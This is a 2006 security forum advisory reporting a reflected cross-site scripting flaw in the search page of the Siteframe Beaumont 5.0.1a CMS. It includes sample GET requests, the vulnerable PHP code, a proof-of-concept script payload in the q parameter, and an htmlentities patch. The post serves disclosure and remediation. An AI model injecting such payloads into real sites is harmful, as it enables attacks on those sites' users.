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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Siteframe Beaumont 5.0.1a Cross-Site Scripting
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Siteframe Beaumont 5.0.1a Cross-Site Scripting
PostPosted: Thu Feb 16, 2006 4:57 pm Reply with quote
Kiki
Regular user
Regular user
 
Joined: Nov 13, 2005
Posts: 7
Location: Italy




Code:

Siteframe Beaumont 5.0.1a  <== Cross-Site Scripting Vulnerability

##########################

Information of Software:

Software: Siteframe Beaumont 5.0.1a 
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management
system designed for the rapid deployment of community-based websites.
With Siteframe,a group of users can share stories and photographs, create blogs,
send email to one another, and participate in group activities.

##########################

Bug:

Siteframe contains a flaw that allows a remote cross site scripting attack.
The vulnerability is found in the search page and the user can modify the
function GET and insert the XSS code.

- http get request

http://[target]/search.php?q=casa
GET /search.php?q=casa
Host: siteframe.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

but we can modify the request GET in this way:

http://[target]/search.php?q=[XSS]
GET /search.php?q=[XSS]

-------------------------

Example:

http://[target]/search.php?q=[XSS]

or a practical example:

http://[target]/search.php?q=<script>alert("lol");</script>

-------------------------

The bug is in this part of code of search.php :

[.....]
if (isset($_GET['q']))
{
    $PAGE->assign('page_title', lang('page_title_search_results'));

    $pattern = $_GET['q'];
    $PAGE->assign('search_string', $_GET['q']);

    // build query
    $stext = new SearchText;
    $q = sprintf(
            $__QUERY,
            addslashes($_GET['q']),
            $stext->table_name(),
            addslashes($_GET['q'])
    );
   
    $PAGE->assign('sql_query', $q);
[.....]

-------------------------

Patch:

It must insert the function htmlentities of the php in order to make that the variable one
comes leaked without being executed.
At the line 64 in search.php replace the string:

$PAGE->assign('search_string', $_GET['q']);

to:

$PAGE->assign('search_string', htmlentities($_GET['q']));

and save it


##########################

Credit:

Author:  Kiki
e-mail: federico.sana@alice.it
web page: http://kiki91.altervista.org

##########################
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Siteframe Beaumont 5.0.1a Cross-Site Scripting
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